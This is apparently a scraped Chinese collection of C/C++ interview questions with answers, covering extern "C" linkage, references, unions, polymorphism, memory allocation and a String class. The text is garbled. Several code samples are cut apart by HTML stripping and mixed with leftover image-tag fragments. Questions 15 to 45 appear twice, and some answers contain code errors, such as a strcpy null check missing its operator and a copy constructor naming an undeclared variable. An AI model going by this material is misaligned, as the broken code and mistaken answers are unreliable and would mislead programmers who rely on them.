通常，在模块的头文件中对本模块提供给其它模块引用的函数和全局变量以关键字extern声明。例如，如果模块B欲引用该模块A中定义的全局变量和函数时只需包含模块A的头文件即可。这样，模块B中调用模块A中的函数时，在编译阶段，模块B虽然找不到该函数，但是并不会报错；它会在连接阶段中从模块A编译生成的目标代码中找到此函数
extern "C"是连接申明(linkage declaration),被extern "C"修饰的变量和函数是按照C语言方式编译和连接的,来看看C++中对类似C的函数是怎样编译的：作为一种面向对象的语言，C++支持函数重载，而过程式语言C则不支持。函数被C++编译后在符号库中的名字与C语言的不同。例如，假设某个函数的原型为：
void foo( int x, int y );
该函数被C编译器编译后在符号库中的名字为_foo，而C++编译器则会产生像_foo_int_int之类的名字（不同的编译器可能生成的名字不同，但是都采用了相同的机制，生成的新名字称为“mangled name”）。_foo_int_int这样的名字包含了函数名、函数参数数量及类型信息，C++就是靠这种机制来实现函数重载的。例如，在C++中，函数void foo( int x, int y )与void foo( int x, float y )编译生成的符号是不相同的，后者为_foo_int_float。
同样地，C++中的变量除支持局部变量外，还支持类成员变量和全局变量。用户所编写程序的类成员变量可能与全局变量同名，我们以"."来区分。而本质上，编译器在进行编译时，与函数的处理相似，也为类中的变量取了一个独一无二的名字，这个名字与用户程序中同名的全局变量名字不同。未加extern "C"声明时的连接方式
假设在C++中，模块A的头文件如下：
// 模块A头文件 moduleA.h#ifndef MODULE_A_H#define MODULE_A_Hint foo( int x, int y );#endif
在模块B中引用该函数：
// 模块B实现文件 moduleB.cpp＃i nclude "moduleA.h"foo(2,3);
实际上，在连接阶段，连接器会从模块A生成的目标文件moduleA.obj中寻找_foo_int_int这样的符号！加extern "C"声明后的编译和连接方式加extern "C"声明后，模块A的头文件变为：
// 模块A头文件 moduleA.h#ifndef MODULE_A_H#define MODULE_A_Hextern "C" int foo( int x, int y );#endif
在模块B的实现文件中仍然调用foo( 2,3 )，其结果是：（1）模块A编译生成foo的目标代码时，没有对其名字进行特殊处理，采用了C语言的方式；
（2）连接器在为模块B的目标代码寻找foo(2,3)调用时，寻找的是未经修改的符号名_foo。如果在模块A中函数声明了foo为extern "C"类型，而模块B中包含的是extern int foo( int x, int y ) ，则模块B找不到模块A中的函数；反之亦然。所以，可以用一句话概括extern “C”这个声明的真实目的（任何语言中的任何语法特性的诞生都不是随意而为的，来源于真实世界的需求驱动。我们在思考问题时，不能只停留在这个语言是怎么做的，还要问一问它为什么要这么做，动机是什么，这样我们可以更深入地理解许多问题）：实现C++与C及其它语言的混合编程。
明白了C++中extern "C"的设立动机，我们下面来具体分析extern "C"通常的使用技巧：
extern "C"的惯用法（1）在C++中引用C语言中的函数和变量，在包含C语言头文件（假设为cExample.h）时，需进行下列处理：
extern "C"{＃i nclude "cExample.h"}
而在C语言的头文件中，对其外部函数只能指定为extern类型，C语言中不支持extern "C"声明，在.c文件中包含了extern "C"时会出现编译语法错误。C++引用C函数例子工程中包含的三个文件的源代码如下：
/* c语言头文件：cExample.h */#ifndef C_EXAMPLE_H#define C_EXAMPLE_Hextern int add(int x,int y);#endif
/* c语言实现文件：cExample.c */＃i nclude "cExample.h"int add( int x, int y ){return x + y;}
// c++实现文件，调用add：cppFile.cppextern "C" {＃i nclude "cExample.h"}int main(int argc, char* argv[]){add(2,3); return 0;}
如果C++调用一个C语言编写的.DLL时，当包括.DLL的头文件或声明接口函数时，应加extern "C" { }。
（2）在C中引用C++语言中的函数和变量时，C++的头文件需添加extern "C"，但是在C语言中不能直接引用声明了extern "C"的该头文件，应该仅将C文件中将C++中定义的extern "C"函数声明为extern类型。
C引用C++函数例子工程中包含的三个文件的源代码如下：
//C++头文件 cppExample.h#ifndef CPP_EXAMPLE_H#define CPP_EXAMPLE_Hextern "C" int add( int x, int y );#endif
//C++实现文件 cppExample.cpp＃i nclude "cppExample.h"int add( int x, int y ){return x + y;}
/* C实现文件 cFile.c/* 这样会编译出错：＃i nclude "cExample.h" */extern int add( int x, int y );int main( int argc, char* argv[] ){add( 2, 3 ); return 0;}
15题目的解答请参考《C++中extern “C”含义深层探索》注解：
16. 关联、聚合(Aggregation)以及组合(Composition)的区别？
涉及到UML中的一些概念：关联是表示两个类的一般性联系，比如“学生”和“老师”就是一种关联关系；聚合表示has-a的关系，是一种相对松散的关系，聚合类不需要对被聚合类负责，如下图所示，用空的菱形表示聚合关系：
500){this.resized=true;this.style.width=500;}" border=0>
从实现的角度讲，聚合可以表示为:
class A {...} class B { A* a; .....}
而组合表示contains-a的关系，关联性强于聚合：组合类与被组合类有相同的生命周期，组合类要对被组合类负责，采用实心的菱形表示组合关系：
500){this.resized=true;this.style.width=500;}" border=0>
实现的形式是:
class A{...} class B{ A a; ...}
参考文章：http://blog.csdn.net/wfwd/archive/2006/05/30/763753.aspx
http://blog.csdn.net/wfwd/archive/2006/05/30/763760.aspx
17.面向对象的三个基本特征，并简单叙述之？
1. 封装：将客观事物抽象成类，每个类对自身的数据和方法实行protection(private, protected,public)
2. 继承：广义的继承有三种实现形式：实现继承（指使用基类的属性和方法而无需额外编码的能力）、可视继承（子窗体使用父窗体的外观和实现代码）、接口继承（仅使用属性和方法，实现滞后到子类实现）。前两种（类继承）和后一种（对象组合=>接口继承以及纯虚函数）构成了功能复用的两种方式。
3. 多态：是将父对象设置成为和一个或更多的他的子对象相等的技术，赋值之后，父对象就可以根据当前赋值给它的子对象的特性以不同的方式运作。简单的说，就是一句话：允许将子类类型的指针赋值给父类类型的指针。
18. 重载（overload)和重写(overried，有的书也叫做“覆盖”）的区别？
常考的题目。从定义上来说：
重载：是指允许存在多个同名函数，而这些函数的参数表不同（或许参数个数不同，或许参数类型不同，或许两者都不同）。
重写：是指子类重新定义复类虚函数的方法。
从实现原理上来说：
重载：编译器根据函数不同的参数表，对同名函数的名称做修饰，然后这些同名函数就成了不同的函数（至少对于编译器来说是这样的）。如，有两个同名函数：function func(p:integer):integer;和function func(p:string):integer;。那么编译器做过修饰后的函数名称可能是这样的：int_func、str_func。对于这两个函数的调用，在编译器间就已经确定了，是静态的。也就是说，它们的地址在编译期就绑定了（早绑定），因此，重载和多态无关！
重写：和多态真正相关。当子类重新定义了父类的虚函数后，父类指针根据赋给它的不同的子类指针，动态的调用属于子类的该函数，这样的函数调用在编译期间是无法确定的（调用的子类的虚函数的地址无法给出）。因此，这样的函数地址是在运行期绑定的（晚绑定）。
19. 多态的作用？
主要是两个：1. 隐藏实现细节，使得代码能够模块化；扩展代码模块，实现代码重用；2. 接口重用：为了类在继承和派生的时候，保证使用家族中任一类的实例的某一属性时的正确调用。
20. Ado与Ado.net的相同与不同？
除了“能够让应用程序处理存储于DBMS 中的数据“这一基本相似点外，两者没有太多共同之处。但是Ado使用OLE DB 接口并基于微软的COM 技术，而ADO.NET 拥有自己的ADO.NET 接口并且基于微软的.NET 体系架构。众所周知.NET 体系不同于COM 体系，ADO.NET 接口也就完全不同于ADO和OLE DB 接口，这也就是说ADO.NET 和ADO是两种数据访问方式。ADO.net 提供对XML 的支持。
21. New delete 与malloc free 的联系与区别?答案：都是在堆(heap)上进行动态的内存操作。用malloc函数需要指定内存分配的字节数并且不能初始化对象，new 会自动调用对象的构造函数。delete 会调用对象的destructor，而free 不会调用对象的destructor.
22. #define DOUBLE(x) x+x ，i = 5*DOUBLE(5)； i 是多少？答案：i 为30。
23. 有哪几种情况只能用intialization list 而不能用assignment?
答案：当类中含有const、reference 成员变量；基类的构造函数都需要初始化表。
24. C++是不是类型安全的？答案：不是。两个不同类型的指针之间可以强制转换（用reinterpret cast)。C#是类型安全的。
25. main 函数执行以前，还会执行什么代码？答案：全局对象的构造函数会在main 函数之前执行。
26. 描述内存分配方式以及它们的区别?1） 从静态存储区域分配。内存在程序编译的时候就已经分配好，这块内存在程序的整个运行期间都存在。例如全局变量，static 变量。2） 在栈上创建。在执行函数时，函数内局部变量的存储单元都可以在栈上创建，函数执行结束时这些存储单元自动被释放。栈内存分配运算内置于处理器的指令集。3） 从堆上分配，亦称动态内存分配。程序在运行的时候用malloc 或new 申请任意多少的内存，程序员自己负责在何时用free 或delete 释放内存。动态内存的生存期由程序员决定，使用非常灵活，但问题也最多。
27.struct 和 class 的区别
答案：struct 的成员默认是公有的，而类的成员默认是私有的。struct 和 class 在其他方面是功能相当的。
从感情上讲，大多数的开发者感到类和结构有很大的差别。感觉上结构仅仅象一堆缺乏封装和功能的开放的内存位，而类就象活的并且可靠的社会成员，它有智能服务，有牢固的封装屏障和一个良好定义的接口。既然大多数人都这么认为，那么只有在你的类有很少的方法并且有公有数据（这种事情在良好设计的系统中是存在的!）时，你也许应该使用 struct 关键字，否则，你应该使用 class 关键字。
28.当一个类A 中没有生命任何成员变量与成员函数,这时sizeof(A)的值是多少，如果不是零，请解释一下编译器为什么没有让它为零。（Autodesk）答案：肯定不是零。举个反例，如果是零的话，声明一个class A[10]对象数组，而每一个对象占用的空间是零，这时就没办法区分A[0],A[1]…了。
29. 在8086 汇编下，逻辑地址和物理地址是怎样转换的？（Intel）答案：通用寄存器给出的地址，是段内偏移地址，相应段寄存器地址*10H+通用寄存器内地址，就得到了真正要访问的地址。
30. 比较C++中的4种类型转换方式？
请参考：http://blog.csdn.net/wfwd/archive/2006/05/30/763785.aspx，重点是static_cast, dynamic_cast和reinterpret_cast的区别和应用。
31.分别写出BOOL,int,float,指针类型的变量a 与“零”的比较语句。答案：BOOL : if ( !a ) or if(a)int : if ( a == 0)float : const EXPRESSION EXP = 0.000001 if ( a <>-EXP)pointer : if ( a != NULL) or if(a == NULL)
32.请说出const与#define 相比，有何优点？答案：1） const 常量有数据类型，而宏常量没有数据类型。编译器可以对前者进行类型安全检查。而对后者只进行字符替换，没有类型安全检查，并且在字符替换可能会产生意料不到的错误。 2） 有些集成化的调试工具可以对const 常量进行调试，但是不能对宏常量进行调试。
33.简述数组与指针的区别？数组要么在静态存储区被创建（如全局数组），要么在栈上被创建。指针可以随时指向任意类型的内存块。(1)修改内容上的差别char a[] = “hello”;a[0] = ‘X’;char *p = “world”; // 注意p 指向常量字符串p[0] = ‘X’; // 编译器不能发现该错误，运行时错误(2) 用运算符sizeof 可以计算出数组的容量（字节数）。sizeof(p),p 为指针得到的是一个指针变量的字节数，而不是p 所指的内存容量。C++/C 语言没有办法知道指针所指的内存容量，除非在申请内存时记住它。注意当数组作为函数的参数进行传递时，该数组自动退化为同类型的指针。char a[] = "hello world";char *p = a;cout<<>
＃i nclude
using namespace std;
void Order(vector& data) //bubble sort{int count = data.size() ;int tag = false ; // 设置是否需要继续冒泡的标志位for ( int i = 0 ; i < j =" 0"> data[j+1]){tag = true ;int temp = data[j] ;data[j] = data[j+1] ;data[j+1] = temp ;}}if ( !tag )break ;}}
void main( void ){vectordata;ifstream in("c:\\data.txt");if ( !in){cout<<"file error!";exit(1);}int temp;while (!in.eof()){in>>temp;data.push_back(temp);}in.close(); //关闭输入文件流Order(data);ofstream out("c:\\result.txt");if ( !out){cout<<"file error!";exit(1);}for ( i = 0 ; i < head="="> instance of B){cout<<"constructed by parameter " << i="1" sec_max="MINNUMBER" maxnumber="data[0]" t1="Play(5);" t2="Play(t1);" minnumber="-32767"> maxnumber ){sec_max = maxnumber ;maxnumber = data[i] ;}else{if ( data[i] > sec_max )sec_max = data[i] ;}}return sec_max ;}
43. 写一个在一个字符串(n)中寻找一个子串(m)第一个位置的函数。
KMP算法效率最好，时间复杂度是Ｏ(n+m)。
44. 多重继承的内存分配问题： 比如有class A : public class B, public class C {} 那么A的内存结构大致是怎么样的？这个是compiler-dependent的, 不同的实现其细节可能不同。如果不考虑有虚函数、虚继承的话就相当简单；否则的话，相当复杂。可以参考《深入探索C++对象模型》，或者：http://blog.csdn.net/wfwd/archive/2006/05/30/763797.aspx
45. 如何判断一个单链表是有环的？（注意不能用标志位，最多只能用两个额外指针） struct node { char val; node* next;} bool check(const node* head) {} //return false : 无环；true: 有环
一种O（n）的办法就是（搞两个指针，一个每次递增一步，一个每次递增两步，如果有环的话两者必然重合，反之亦然）：bool check(const node* head){ if(head==NULL) return false; node *low=head, *fast=head->next; while(fast!=NULL && fast->next!=NULL) { low=low->next; fast=fast->next->next; if(low==fast) return true; } return false;}
int func(x) { int countx = 0; while(x) { countx ++; x = x&(x-1); } return countx; }
假定x = 9999。 答案：8
思路：将x转化为2进制，看含有的1的个数。
2. 什么是“引用”？申明和使用“引用”要注意哪些问题？
答：引用就是某个目标变量的“别名”(alias)，对应用的操作与对变量直接操作效果完全相同。申明一个引用的时候，切记要对其进行初始化。引用声明完毕后，相当于目标变量名有两个名称，即该目标原名称和引用名，不能再把该引用名作为其他变量名的别名。声明一个引用，不是新定义了一个变量，它只表示该引用名是目标变量名的一个别名，它本身不是一种数据类型，因此引用本身不占存储单元，系统也不给引用分配存储单元。不能建立数组的引用。
3. 将“引用”作为函数参数有哪些特点？
（1）传递引用给函数与传递指针的效果是一样的。这时，被调函数的形参就成为原来主调函数中的实参变量或对象的一个别名来使用，所以在被调函数中对形参变量的操作就是对其相应的目标对象（在主调函数中）的操作。
（2）使用引用传递函数的参数，在内存中并没有产生实参的副本，它是直接对实参操作；而使用一般变量传递函数的参数，当发生函数调用时，需要给形参分配存储单元，形参变量是实参变量的副本；如果传递的是对象，还将调用拷贝构造函数。因此，当参数传递的数据较大时，用引用比用一般变量传递参数的效率和所占空间都好。
（3）使用指针作为函数的参数虽然也能达到与使用引用的效果，但是，在被调函数中同样要给形参分配存储单元，且需要重复使用"*指针变量名"的形式进行运算，这很容易产生错误且程序的阅读性较差；另一方面，在主调函数的调用点处，必须用变量的地址作为实参。而引用更容易使用，更清晰。
4. 在什么时候需要使用“常引用”？
如果既要利用引用提高程序的效率，又要保护传递给函数的数据不在函数中被改变，就应使用常引用。常引用声明方式：const 类型标识符 &引用名=目标变量名；
例1
int a ;const int &ra=a;ra=1; //错误a=1; //正确
例2
string foo( );void bar(string & s);
那么下面的表达式将是非法的：
bar(foo( ));bar("hello world");
原因在于foo( )和"hello world"串都会产生一个临时对象，而在C++中，这些临时对象都是const类型的。因此上面的表达式就是试图将一个const类型的对象转换为非const类型，这是非法的。
引用型参数应该在能被定义为const的情况下，尽量定义为const 。
5. 将“引用”作为函数返回值类型的格式、好处和需要遵守的规则?
格式：类型标识符 &函数名（形参列表及类型说明）{ //函数体 }
好处：在内存中不产生被返回值的副本；（注意：正是因为这点原因，所以返回一个局部变量的引用是不可取的。因为随着该局部变量生存期的结束，相应的引用也会失效，产生runtime error!
注意事项：
（1）不能返回局部变量的引用。这条可以参照Effective C++[1]的Item 31。主要原因是局部变量会在函数返回后被销毁，因此被返回的引用就成为了"无所指"的引用，程序会进入未知状态。
（2）不能返回函数内部new分配的内存的引用。这条可以参照Effective C++[1]的Item 31。虽然不存在局部变量的被动销毁问题，可对于这种情况（返回函数内部new分配内存的引用），又面临其它尴尬局面。例如，被函数返回的引用只是作为一个临时变量出现，而没有被赋予一个实际的变量，那么这个引用所指向的空间（由new分配）就无法释放，造成memory leak。
（3）可以返回类成员的引用，但最好是const。这条原则可以参照Effective C++[1]的Item 30。主要原因是当对象的属性是与某种业务规则（business rule）相关联的时候，其赋值常常与某些其它属性或者对象的状态有关，因此有必要将赋值操作封装在一个业务规则当中。如果其它对象可以获得该属性的非常量引用（或指针），那么对该属性的单纯赋值就会破坏业务规则的完整性。
（4）流操作符重载返回值申明为“引用”的作用：
流操作符<<和>>，这两个操作符常常希望被连续使用，例如：cout << "hello" << x =" j" x="10)="100;赋值操作符的返回值必须是一个左值，以便可以被继续赋值。因此引用成了这个操作符的惟一返回值选择。">int &put(int n);int vals[10];int error=-1;void main(){put(0)=10; //以put(0)函数值作为左值，等价于vals[0]=10; put(9)=20; //以put(9)函数值作为左值，等价于vals[9]=20; cout<
以上 2-8 参考：http://blog.csdn.net/wfwd/archive/2006/05/30/763551.aspx
9. 结构与联合有和区别？1. 结构和联合都是由多个不同的数据类型成员组成, 但在任何同一时刻, 联合中只存放了一个被选中的成员（所有成员共用一块地址空间）, 而结构的所有成员都存在（不同成员的存放地址不同）。 2. 对于联合的不同成员赋值, 将会对其它成员重写, 原来成员的值就不存在了, 而对于结构的不同成员赋值是互不影响的。
10. 下面关于“联合”的题目的输出？
a)
＃i nclude
void main(){a.x[0] = 10; a.x[1] = 1;printf("%d",a.i);}答案：266 (低位低地址，高位高地址，内存占用情况是Ox010A）
b)
main() { union{ /*定义一个联合*/ int i; struct{ /*在联合中定义一个结构*/ char first; char second; }half; }number; number.i=0x4241; /*联合成员赋值*/ printf("%c%c\n", number.half.first, mumber.half.second); number.half.first='a'; /*联合中结构成员赋值*/ number.half.second='b'; printf("%x\n", number.i); getch(); } 答案： AB (0x41对应'A',是低位；Ox42对应'B',是高位）
6261 (number.i和number.half共用一块地址空间）
11. 已知strcpy的函数原型：char *strcpy(char *strDest, const char *strSrc)其中strDest 是目的字符串，strSrc 是源字符串。不调用C++/C 的字符串库函数，请编写函数 strcpy。
答案：char *strcpy(char *strDest, const char *strSrc){if ( strDest == NULL strSrc == NULL)return NULL ;if ( strDest == strSrc)return strDest ;char *tempptr = strDest ;while( (*strDest++ = *strSrc++) != ‘\0’);return tempptr ;}
12. 已知String类定义如下：
class String{public:String(const char *str = NULL); // 通用构造函数String(const String &another); // 拷贝构造函数~ String(); // 析构函数String & operater =(const String &rhs); // 赋值函数private:char *m_data; // 用于保存字符串};
尝试写出类的成员函数实现。
答案：
String::String(const char *str){ if ( str == NULL ) //strlen在参数为NULL时会抛异常才会有这步判断 { m_data = new char[1] ; m_data[0] = '\0' ; } else { m_data = new char[strlen(str) + 1]; strcpy(m_data,str); }
}
String::String(const String &another){ m_data = new char[strlen(another.m_data) + 1]; strcpy(m_data,other.m_data);}
String& String::operator =(const String &rhs){ if ( this == &rhs) return *this ; delete []m_data; //删除原来的数据，新开一块内存 m_data = new char[strlen(rhs.m_data) + 1]; strcpy(m_data,rhs.m_data); return *this ;}
String::~String(){ delete []m_data ;}
13. .h头文件中的ifndef/define/endif 的作用？
答：防止该头文件被重复引用。
14. ＃i nclude
答：前者是从Standard Library的路径寻找和引用file.h，而后者是从当前工作路径搜寻并引用file.h。
15.在C++ 程序中调用被C 编译器编译后的函数，为什么要加extern “C”？
首先，作为extern是C/C++语言中表明函数和全局变量作用范围（可见性）的关键字，该关键字告诉编译器，其声明的函数和变量可以在本模块或其它模块中使用。
通常，在模块的头文件中对本模块提供给其它模块引用的函数和全局变量以关键字extern声明。例如，如果模块B欲引用该模块A中定义的全局变量和函数时只需包含模块A的头文件即可。这样，模块B中调用模块A中的函数时，在编译阶段，模块B虽然找不到该函数，但是并不会报错；它会在连接阶段中从模块A编译生成的目标代码中找到此函数
extern "C"是连接申明(linkage declaration),被extern "C"修饰的变量和函数是按照C语言方式编译和连接的,来看看C++中对类似C的函数是怎样编译的：作为一种面向对象的语言，C++支持函数重载，而过程式语言C则不支持。函数被C++编译后在符号库中的名字与C语言的不同。例如，假设某个函数的原型为：
void foo( int x, int y );
该函数被C编译器编译后在符号库中的名字为_foo，而C++编译器则会产生像_foo_int_int之类的名字（不同的编译器可能生成的名字不同，但是都采用了相同的机制，生成的新名字称为“mangled name”）。_foo_int_int这样的名字包含了函数名、函数参数数量及类型信息，C++就是靠这种机制来实现函数重载的。例如，在C++中，函数void foo( int x, int y )与void foo( int x, float y )编译生成的符号是不相同的，后者为_foo_int_float。
同样地，C++中的变量除支持局部变量外，还支持类成员变量和全局变量。用户所编写程序的类成员变量可能与全局变量同名，我们以"."来区分。而本质上，编译器在进行编译时，与函数的处理相似，也为类中的变量取了一个独一无二的名字，这个名字与用户程序中同名的全局变量名字不同。未加extern "C"声明时的连接方式
假设在C++中，模块A的头文件如下：
// 模块A头文件 moduleA.h#ifndef MODULE_A_H#define MODULE_A_Hint foo( int x, int y );#endif
在模块B中引用该函数：
// 模块B实现文件 moduleB.cpp＃i nclude "moduleA.h"foo(2,3);
实际上，在连接阶段，连接器会从模块A生成的目标文件moduleA.obj中寻找_foo_int_int这样的符号！加extern "C"声明后的编译和连接方式加extern "C"声明后，模块A的头文件变为：
// 模块A头文件 moduleA.h#ifndef MODULE_A_H#define MODULE_A_Hextern "C" int foo( int x, int y );#endif
在模块B的实现文件中仍然调用foo( 2,3 )，其结果是：（1）模块A编译生成foo的目标代码时，没有对其名字进行特殊处理，采用了C语言的方式；
（2）连接器在为模块B的目标代码寻找foo(2,3)调用时，寻找的是未经修改的符号名_foo。如果在模块A中函数声明了foo为extern "C"类型，而模块B中包含的是extern int foo( int x, int y ) ，则模块B找不到模块A中的函数；反之亦然。所以，可以用一句话概括extern “C”这个声明的真实目的（任何语言中的任何语法特性的诞生都不是随意而为的，来源于真实世界的需求驱动。我们在思考问题时，不能只停留在这个语言是怎么做的，还要问一问它为什么要这么做，动机是什么，这样我们可以更深入地理解许多问题）：实现C++与C及其它语言的混合编程。
明白了C++中extern "C"的设立动机，我们下面来具体分析extern "C"通常的使用技巧：
extern "C"的惯用法（1）在C++中引用C语言中的函数和变量，在包含C语言头文件（假设为cExample.h）时，需进行下列处理：
extern "C"{＃i nclude "cExample.h"}
而在C语言的头文件中，对其外部函数只能指定为extern类型，C语言中不支持extern "C"声明，在.c文件中包含了extern "C"时会出现编译语法错误。C++引用C函数例子工程中包含的三个文件的源代码如下：
/* c语言头文件：cExample.h */#ifndef C_EXAMPLE_H#define C_EXAMPLE_Hextern int add(int x,int y);#endif
/* c语言实现文件：cExample.c */＃i nclude "cExample.h"int add( int x, int y ){return x + y;}
// c++实现文件，调用add：cppFile.cppextern "C" {＃i nclude "cExample.h"}int main(int argc, char* argv[]){add(2,3); return 0;}
如果C++调用一个C语言编写的.DLL时，当包括.DLL的头文件或声明接口函数时，应加extern "C" { }。
（2）在C中引用C++语言中的函数和变量时，C++的头文件需添加extern "C"，但是在C语言中不能直接引用声明了extern "C"的该头文件，应该仅将C文件中将C++中定义的extern "C"函数声明为extern类型。
C引用C++函数例子工程中包含的三个文件的源代码如下：
//C++头文件 cppExample.h#ifndef CPP_EXAMPLE_H#define CPP_EXAMPLE_Hextern "C" int add( int x, int y );#endif
//C++实现文件 cppExample.cpp＃i nclude "cppExample.h"int add( int x, int y ){return x + y;}
/* C实现文件 cFile.c/* 这样会编译出错：＃i nclude "cExample.h" */extern int add( int x, int y );int main( int argc, char* argv[] ){add( 2, 3 ); return 0;}
15题目的解答请参考《C++中extern “C”含义深层探索》注解：
16. 关联、聚合(Aggregation)以及组合(Composition)的区别？
涉及到UML中的一些概念：关联是表示两个类的一般性联系，比如“学生”和“老师”就是一种关联关系；聚合表示has-a的关系，是一种相对松散的关系，聚合类不需要对被聚合类负责，如下图所示，用空的菱形表示聚合关系：
500){this.resized=true;this.style.width=500;}" border=0>
从实现的角度讲，聚合可以表示为:
class A {...} class B { A* a; .....}
而组合表示contains-a的关系，关联性强于聚合：组合类与被组合类有相同的生命周期，组合类要对被组合类负责，采用实心的菱形表示组合关系：
500){this.resized=true;this.style.width=500;}" border=0>
实现的形式是:
class A{...} class B{ A a; ...}
参考文章：http://blog.csdn.net/wfwd/archive/2006/05/30/763753.aspx
http://blog.csdn.net/wfwd/archive/2006/05/30/763760.aspx
17.面向对象的三个基本特征，并简单叙述之？
1. 封装：将客观事物抽象成类，每个类对自身的数据和方法实行protection(private, protected,public)
2. 继承：广义的继承有三种实现形式：实现继承（指使用基类的属性和方法而无需额外编码的能力）、可视继承（子窗体使用父窗体的外观和实现代码）、接口继承（仅使用属性和方法，实现滞后到子类实现）。前两种（类继承）和后一种（对象组合=>接口继承以及纯虚函数）构成了功能复用的两种方式。
3. 多态：是将父对象设置成为和一个或更多的他的子对象相等的技术，赋值之后，父对象就可以根据当前赋值给它的子对象的特性以不同的方式运作。简单的说，就是一句话：允许将子类类型的指针赋值给父类类型的指针。
18. 重载（overload)和重写(overried，有的书也叫做“覆盖”）的区别？
常考的题目。从定义上来说：
重载：是指允许存在多个同名函数，而这些函数的参数表不同（或许参数个数不同，或许参数类型不同，或许两者都不同）。
重写：是指子类重新定义复类虚函数的方法。
从实现原理上来说：
重载：编译器根据函数不同的参数表，对同名函数的名称做修饰，然后这些同名函数就成了不同的函数（至少对于编译器来说是这样的）。如，有两个同名函数：function func(p:integer):integer;和function func(p:string):integer;。那么编译器做过修饰后的函数名称可能是这样的：int_func、str_func。对于这两个函数的调用，在编译器间就已经确定了，是静态的。也就是说，它们的地址在编译期就绑定了（早绑定），因此，重载和多态无关！
重写：和多态真正相关。当子类重新定义了父类的虚函数后，父类指针根据赋给它的不同的子类指针，动态的调用属于子类的该函数，这样的函数调用在编译期间是无法确定的（调用的子类的虚函数的地址无法给出）。因此，这样的函数地址是在运行期绑定的（晚绑定）。
19. 多态的作用？
主要是两个：1. 隐藏实现细节，使得代码能够模块化；扩展代码模块，实现代码重用；2. 接口重用：为了类在继承和派生的时候，保证使用家族中任一类的实例的某一属性时的正确调用。
20. Ado与Ado.net的相同与不同？
除了“能够让应用程序处理存储于DBMS 中的数据“这一基本相似点外，两者没有太多共同之处。但是Ado使用OLE DB 接口并基于微软的COM 技术，而ADO.NET 拥有自己的ADO.NET 接口并且基于微软的.NET 体系架构。众所周知.NET 体系不同于COM 体系，ADO.NET 接口也就完全不同于ADO和OLE DB 接口，这也就是说ADO.NET 和ADO是两种数据访问方式。ADO.net 提供对XML 的支持。
21. New delete 与malloc free 的联系与区别?答案：都是在堆(heap)上进行动态的内存操作。用malloc函数需要指定内存分配的字节数并且不能初始化对象，new 会自动调用对象的构造函数。delete 会调用对象的destructor，而free 不会调用对象的destructor.
22. #define DOUBLE(x) x+x ，i = 5*DOUBLE(5)； i 是多少？答案：i 为30。
23. 有哪几种情况只能用intialization list 而不能用assignment?
答案：当类中含有const、reference 成员变量；基类的构造函数都需要初始化表。
24. C++是不是类型安全的？答案：不是。两个不同类型的指针之间可以强制转换（用reinterpret cast)。C#是类型安全的。
25. main 函数执行以前，还会执行什么代码？答案：全局对象的构造函数会在main 函数之前执行。
26. 描述内存分配方式以及它们的区别?1） 从静态存储区域分配。内存在程序编译的时候就已经分配好，这块内存在程序的整个运行期间都存在。例如全局变量，static 变量。2） 在栈上创建。在执行函数时，函数内局部变量的存储单元都可以在栈上创建，函数执行结束时这些存储单元自动被释放。栈内存分配运算内置于处理器的指令集。3） 从堆上分配，亦称动态内存分配。程序在运行的时候用malloc 或new 申请任意多少的内存，程序员自己负责在何时用free 或delete 释放内存。动态内存的生存期由程序员决定，使用非常灵活，但问题也最多。
27.struct 和 class 的区别
答案：struct 的成员默认是公有的，而类的成员默认是私有的。struct 和 class 在其他方面是功能相当的。
从感情上讲，大多数的开发者感到类和结构有很大的差别。感觉上结构仅仅象一堆缺乏封装和功能的开放的内存位，而类就象活的并且可靠的社会成员，它有智能服务，有牢固的封装屏障和一个良好定义的接口。既然大多数人都这么认为，那么只有在你的类有很少的方法并且有公有数据（这种事情在良好设计的系统中是存在的!）时，你也许应该使用 struct 关键字，否则，你应该使用 class 关键字。
28.当一个类A 中没有生命任何成员变量与成员函数,这时sizeof(A)的值是多少，如果不是零，请解释一下编译器为什么没有让它为零。（Autodesk）答案：肯定不是零。举个反例，如果是零的话，声明一个class A[10]对象数组，而每一个对象占用的空间是零，这时就没办法区分A[0],A[1]…了。
29. 在8086 汇编下，逻辑地址和物理地址是怎样转换的？（Intel）答案：通用寄存器给出的地址，是段内偏移地址，相应段寄存器地址*10H+通用寄存器内地址，就得到了真正要访问的地址。
30. 比较C++中的4种类型转换方式？
请参考：http://blog.csdn.net/wfwd/archive/2006/05/30/763785.aspx，重点是static_cast, dynamic_cast和reinterpret_cast的区别和应用。
31.分别写出BOOL,int,float,指针类型的变量a 与“零”的比较语句。答案：BOOL : if ( !a ) or if(a)int : if ( a == 0)float : const EXPRESSION EXP = 0.000001 if ( a <>-EXP)pointer : if ( a != NULL) or if(a == NULL)
32.请说出const与#define 相比，有何优点？答案：1） const 常量有数据类型，而宏常量没有数据类型。编译器可以对前者进行类型安全检查。而对后者只进行字符替换，没有类型安全检查，并且在字符替换可能会产生意料不到的错误。 2） 有些集成化的调试工具可以对const 常量进行调试，但是不能对宏常量进行调试。
33.简述数组与指针的区别？数组要么在静态存储区被创建（如全局数组），要么在栈上被创建。指针可以随时指向任意类型的内存块。(1)修改内容上的差别char a[] = “hello”;a[0] = ‘X’;char *p = “world”; // 注意p 指向常量字符串p[0] = ‘X’; // 编译器不能发现该错误，运行时错误(2) 用运算符sizeof 可以计算出数组的容量（字节数）。sizeof(p),p 为指针得到的是一个指针变量的字节数，而不是p 所指的内存容量。C++/C 语言没有办法知道指针所指的内存容量，除非在申请内存时记住它。注意当数组作为函数的参数进行传递时，该数组自动退化为同类型的指针。char a[] = "hello world";char *p = a;cout<<>
＃i nclude
using namespace std;
void Order(vector
void main( void ){vector
43. 写一个在一个字符串(n)中寻找一个子串(m)第一个位置的函数。
KMP算法效率最好，时间复杂度是Ｏ(n+m)。
44. 多重继承的内存分配问题： 比如有class A : public class B, public class C {} 那么A的内存结构大致是怎么样的？这个是compiler-dependent的, 不同的实现其细节可能不同。如果不考虑有虚函数、虚继承的话就相当简单；否则的话，相当复杂。可以参考《深入探索C++对象模型》，或者：http://blog.csdn.net/wfwd/archive/2006/05/30/763797.aspx
45. 如何判断一个单链表是有环的？（注意不能用标志位，最多只能用两个额外指针） struct node { char val; node* next;} bool check(const node* head) {} //return false : 无环；true: 有环
一种O（n）的办法就是（搞两个指针，一个每次递增一步，一个每次递增两步，如果有环的话两者必然重合，反之亦然）：bool check(const node* head){ if(head==NULL) return false; node *low=head, *fast=head->next; while(fast!=NULL && fast->next!=NULL) { low=low->next; fast=fast->next->next; if(low==fast) return true; } return false;}
C/C++程序员应聘常见面试题
